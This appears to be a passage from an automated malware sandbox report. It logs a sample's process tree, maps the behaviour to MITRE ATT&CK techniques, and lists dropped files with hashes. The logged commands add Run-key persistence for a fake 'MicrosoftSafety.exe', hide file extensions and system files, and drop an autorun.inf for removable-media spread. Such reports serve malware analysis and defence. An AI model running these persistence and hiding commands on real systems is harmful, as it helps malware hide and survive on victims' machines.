    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:3320
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:3352
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:3268
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:816
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4464
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:5416
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6124
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      System Location Discovery: System Language Discovery
      PID:2096
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:4532
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1768
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5376
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:6112
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:5224
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:1144
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:912
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:3408
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:5404
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:5412
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:5336
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2412
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5456
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:5680
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:5624
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:3832
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:5540
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:3504
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:5704
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2368
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:2520
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:5740
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3632
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      System Location Discovery: System Language Discovery
      PID:2004
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:3020
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:5776
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2228
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:4648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3548

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3744

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:3840

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3908

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:3988

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4168

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2256

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe" -ServerName:InputApp.AppX9jnwykgrccxc8by3hsrsh07r423xzvav.mca
1⤵
PID:452

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:704

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2808

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Users

T1564.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program File\Microsoft\MicrosoftSafety.exe

Filesize
272KB

MD5
ca3e0b7972500c8f064282b09f5b9210

SHA1
3dbf909e123a4a45a7232fcaadfb340ff054a032

SHA256
c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0

SHA512
2f049fc83b34ece0955e3f06cc99cd98dea2e99722d32de0828e50a9d22f0d644d0320bf08efca21ea86315f9298b6a3d217eb09cee16f47bf0b83257ea31acd

Download Submit
C:\xoeket.pif

Filesize
97KB

MD5
b12b3d39b2e9e0917d38fb8d83ab6735

SHA1
598026fa35042359a87710a4e42bfe272018d373

SHA256
c78a74683f2a69e15f311a976b56a5c88e096a8aee283e9b24da702bfe381d9e

SHA512
3e5e4234f967ea98bce07c996bae7059bd9188722b6b9b5bd10c0afd7ce6179872da37d7c42e43e87ed777702994cb6cf92ec9950d1bbf0d6cfee7dd3b2cec94

Download Submit
F:\autorun.inf

Filesize
87B

MD5
a58e87ffeec377bdfe74aa489e222618

SHA1
ce4755bf320611f95b2e6fd8128a95d22b2680da

SHA256
fd5ee8d0b5bfe9e3d8e7088253d80602c554d62d2ee69ad9270722c251d6eff0

SHA512
1e5cf2c04ecc7e16dd26020c73a8a47059cce08f8224632621818d62dd00f928a1829e385db4cfbda1dc438dcc1187903556dd483d5786ebe6cfad915a459c66

Download Submit
memory/1036-47-0x0000000000E10000-0x0000000000E11000-memory.dmp

Filesize
4KB

Download
memory/1192-37-0x0000000000620000-0x0000000000621000-memory.dmp

Filesize
4KB

Download
memory/1220-70-0x00000000007A0000-0x00000000007A1000-memory.dmp

Filesize
4KB

Download
memory/1468-74-0x0000000000CC0000-0x0000000000CC1000-memory.dmp

Filesize
4KB

Download
memory/1496-35-0x0000000000300000-0x0000000000301000-memory.dmp

Filesize
4KB

Download
memory/1596-23-0x0000000000EC0000-0x0000000000EC1000-memory.dmp

Filesize
4KB

Download
memory/1728-45-0x00000000003F0000-0x00000000003F1000-memory.dmp

Filesize
4KB

Download
memory/1872-78-0x0000000000340000-0x0000000000341000-memory.dmp

Filesize
4KB

Download
memory/2000-57-0x0000000000990000-0x0000000000991000-memory.dmp

Filesize
4KB

Download
memory/2084-53-0x00000000000C0000-0x00000000000C1000-memory.dmp

Filesize
4KB

Download
memory/2088-31-0x0000000000910000-0x0000000000911000-memory.dmp

Filesize
4KB

Download
memory/2136-39-0x0000000000160000-0x0000000000161000-memory.dmp

Filesize
4KB

Download
memory/2192-76-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/2304-51-0x0000000000500000-0x0000000000501000-memory.dmp

Filesize
4KB

Download
memory/2500-1-0x0000000002BE0000-0x0000000003C9A000-memory.dmp

Filesize
16.7MB

Download
memory/2500-19-0x0000000004720000-0x0000000004722000-memory.dmp

Filesize
8KB

Download
memory/2500-0-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/2500-285-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/2500-11-0x0000000002BE0000-0x0000000003C9A000-memory.dmp

Filesize
16.7MB

Download
memory/2500-13-0x0000000004720000-0x0000000004722000-memory.dmp

Filesize
8KB

Download
memory/2500-10-0x0000000002BE0000-0x0000000003C9A000-memory.dmp

Filesize
16.7MB

Download
memory/2500-12-0x0000000002BE0000-0x0000000003C9A000-memory.dmp

Filesize
16.7MB

Download
memory/2500-14-0x0000000004970000-0x0000000004971000-memory.dmp

Filesize
4KB

Download
memory/2500-17-0x0000000002BE0000-0x0000000003C9A000-memory.dmp

Filesize
16.7MB

Download
memory/2500-229-0x0000000002BE0000-0x0000000003C9A000-memory.dmp

Filesize
16.7MB

Download
memory/2568-55-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

Download
memory/3016-68-0x0000000000160000-0x0000000000161000-memory.dmp

Filesize
4KB

Download
memory/3112-59-0x0000000000810000-0x0000000000811000-memory.dmp

Filesize
4KB

Download
memory/3152-72-0x00000000000E0000-0x00000000000E1000-memory.dmp

Filesize
4KB

Download
memory/3312-29-0x0000000000930000-0x0000000000931000-memory.dmp

Filesize
4KB

Download
memory/3476-16-0x00000000008E0000-0x00000000008E1000-memory.dmp

Filesize
4KB

Download
memory/3588-21-0x00000000004F0000-0x00000000004F1000-memory.dmp

Filesize
4KB

Download
memory/3920-41-0x0000000000150000-0x0000000000151000-memory.dmp

Filesize
4KB

Download
memory/3944-27-0x0000000000280000-0x0000000000281000-memory.dmp

Filesize
4KB

Download
memory/4388-80-0x0000000000250000-0x0000000000251000-memory.dmp

Filesize
4KB

Download
memory/4408-49-0x00000000008C0000-0x00000000008C1000-memory.dmp

Filesize
4KB

Download
memory/4552-43-0x0000000000170000-0x0000000000171000-memory.dmp

Filesize
4KB

Download
memory/4936-25-0x0000000000420000-0x0000000000421000-memory.dmp

Filesize
4KB

Download
memory/5056-33-0x0000000000810000-0x0000000000811000-memory.dmp

Filesize
4KB

Download